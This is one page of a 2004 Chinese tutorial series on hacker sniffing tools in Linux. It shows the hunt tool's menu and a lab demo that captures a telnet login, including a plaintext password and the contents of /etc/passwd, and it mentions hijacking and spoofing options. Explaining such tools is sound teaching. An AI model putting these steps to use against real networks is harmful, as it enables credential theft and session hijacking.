| Linux环境下黑客常用嗅探器解释 |
| 副标题: |
| 作者:Cyberpunk 文章来源:Cyberpunk 点击数:
更新时间:2004-10-14 |
|
| |
-rw-r--r-- 1 206 users 7857 Nov 9 1998 hijack.c -rw-r--r-- 1 206 users 5066 Dec 2 12:55 hostup.c -rwxr-xr-x 1 206 users 84572 Apr 9 02:03 hunt -rw-r--r-- 1 206 users 24435 Apr 2 03:26 hunt.c -rw-r--r-- 1 206 users 16342 Mar 30 01:56 hunt.h -rwxr-xr-x 1 206 users 316040 Apr 9 02:03 hunt_static -rw-r--r-- 1 root root 265 May 20 22:22 huntdir.txt -rw-r--r-- 1 root root 2517 May 20 22:19 huntlog.txt -rw-r--r-- 1 206 users 6249 Feb 21 11:21 macdisc.c -rw-r--r-- 1 206 users 12105 Feb 21 11:35 main.c -rw-r--r-- 1 206 users 12000 Feb 6 02:27 menu.c -rw-r--r-- 1 206 users 7432 Apr 2 03:53 net.c -rw-r--r-- 1 206 users 5799 Feb 11 04:21 options.c -rw-r--r-- 1 206 users 11986 Feb 14 04:59 resolv.c -rw-r--r-- 1 206 users 1948 Oct 25 1998 rst.c -rw-r--r-- 1 206 users 9545 Mar 30 01:48 rstd.c -rw-r--r-- 1 206 users 21590 Apr 2 03:58 sniff.c -rw-r--r-- 1 206 users 14466 Feb 21 12:04 synchijack.c -rw-r--r-- 1 206 users 2692 Feb 19 00:10 tap.c -rw-r--r-- 1 206 users 4078 Feb 15 05:31 timer.c -rw-r--r-- 1 206 users 2023 Oct 25 1998 tty.c -rw-r--r-- 1 206 users 7871 Feb 11 02:58 util.c
静态二进制发布为hunt_static,推荐使用该版本,因为有时候从源代码编译可能会出现缺少一些库的错误。使用下面命令来执行hunt:
$hunt_static
运行hunt你将惊奇地发现hunt是基于curse的,因此有非常友好的交互界面。启动以后菜单如下所示:
--- Main Menu --- rcvpkt 0, free/alloc 63/64 ------ l/w/r) list/watch/reset connections u) host up tests a) arp/simple hijack (avoids ack storm if arp used) s) simple hijack d) daemons rst/arp/sniff/mac o) options x) exit * >
在整个例子中,我将从GNSS登录到linux.test.net中进行测试。
GNSS 3% telnet 192.168.0.2 Trying 192.168.0.2... Connected to 192.168.0.2. Escape character is '^]'. Caldera OpenLinux(TM) Version 1.3 Copyright 1996-1998 Caldera Systems, Inc. login: [hapless@linux hapless]$ finger root Login: root Name: root Directory: /root Shell: /bin/bash On since Thu May 20 21:57 (PDT) on tty1 1 minute idle On since Thu May 20 22:02 (PDT) on tty2 7 minutes 19 seconds idle On since Thu May 20 21:59 (PDT) on tty3 15 seconds idle No mail. No Plan. [hapless@linux hapless]$ last root root tty2 Thu May 20 22:02 still logged in root tty3 Thu May 20 21:59 still logged in root tty1 Thu May 20 21:57 still logged in root tty2 Thu May 20 19:46 - down (00:26) root tty1 Thu May 20 19:44 - 20:12 (00:27) root tty3 Thu May 20 19:44 - down (00:28) root tty3 Thu May 20 19:42 - 19:44 (00:01) root tty1 Thu May 20 19:41 - 19:42 (00:00) root tty3 Thu May 20 19:28 - 19:41 (00:12) root tty2 Thu May 20 19:11 - 19:42 (00:31) root tty1 Thu May 20 19:07 - 19:40 (00:32) root tty1 Thu May 20 18:57 - 19:07 (00:09) root tty1 Mon May 17 22:32 - down (00:29)
最后检查了/etc/passwd,在整个过程中都运行有hunt进行嗅探:
--- Main Menu --- rcvpkt 0, free/alloc 63/64 ------ l/w/r) list/watch/reset connections u) host up tests a) arp/simple hijack (avoids ack storm if arp used) s) simple hijack d) daemons rst/arp/sniff/mac o) options x) exit *> w 0) 192.168.0.1 [1049] --> 192.168.0.2 [23] choose conn> 0 dump [s]rc/[d]st/[b]oth [b]> b
注:上面的输入(黑色字体部分)指示hunt来记录0号连接,并输出源和目的信息。
则hunt将显示hapless的所有活动信息到终端屏幕上:
22:18:43 up 21 min, 4 users, load average: 0.00, 0.01, 0.00 TRL-C to break hhaapplleessss Password: unaware [hapless@linux2 hapless]$ cclleeaarr [hapless@linux2 hapless]$ wwhhoo root tty1 May 20 21:57 ww 22:18:43 up 21 min, 4 users, load average: 0.00, 0.01, 0.00 [hapless@linux2 hapless]$ mmoorree //eettcc//ppaasssswwdd root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin: daemon:x:2:2:daemon:/sbin: adm:x:3:4:adm:/var/adm: lp:x:4:7:lp:/var/spool/lpd: sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:11:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail: news:x:9:13:news:/var/spool/news: uucp:x:10:14:uucp:/var/spool/uucp: operator:x:11:0:operator:/root: games:x:12:100:games:/usr/games: gopher:x:13:30:gopher:/usr/lib/gopher-data: ftp:x:14:50:FTP User:/home/ftp: man:x:15:15:Manuals Owner:/: majordom:x:16:16:Majordomo:/:/bin/false postgres:x:17:17:Postgres User:/home/postgres:/bin/bash nobody:x:65534:65534:Nobody:/:/bin/false anon:x:100:100:Anonymous:/home/anon:/bin/bash hapless:x:500:500:Caldera OpenLinux User:/home/hapless:/bin/bash [hapless@linux2 hapless]$
可以的看到,hunt的输出非常直观明了,易于阅读。然而hunt还提供有以下工具:
允许指定任意一个感兴趣的连接,而不是记录所有的东西。 允许指定任意一个连接,而不仅仅是以SYN刚刚开始的连接。It offers spoofing tools. 上一页 [1] [2] [3] [4] [5] 下一页 |
| 电脑录入:admin 责任编辑:admin
|
|
上一篇电脑: 黑客基础技术
下一篇电脑: 黑客扫描及易受攻击的端口的详细讲解 |
| 【字体:小
大】【发表评论】【告诉好友】【打印此文】【关闭窗口】
|